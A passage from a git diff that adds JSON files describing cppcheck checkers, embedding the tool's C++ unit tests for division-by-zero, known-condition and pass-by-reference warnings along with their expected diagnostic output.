g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkPassByReference.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkPassByReference.json new file mode 100644 index 0000000..c8fe13a --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkPassByReference.json @@ -0,0 +1,22 @@ +{ + "name": "checkPassByReference", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 49, + "branches": 20, + "apis": 67, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 11151 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the 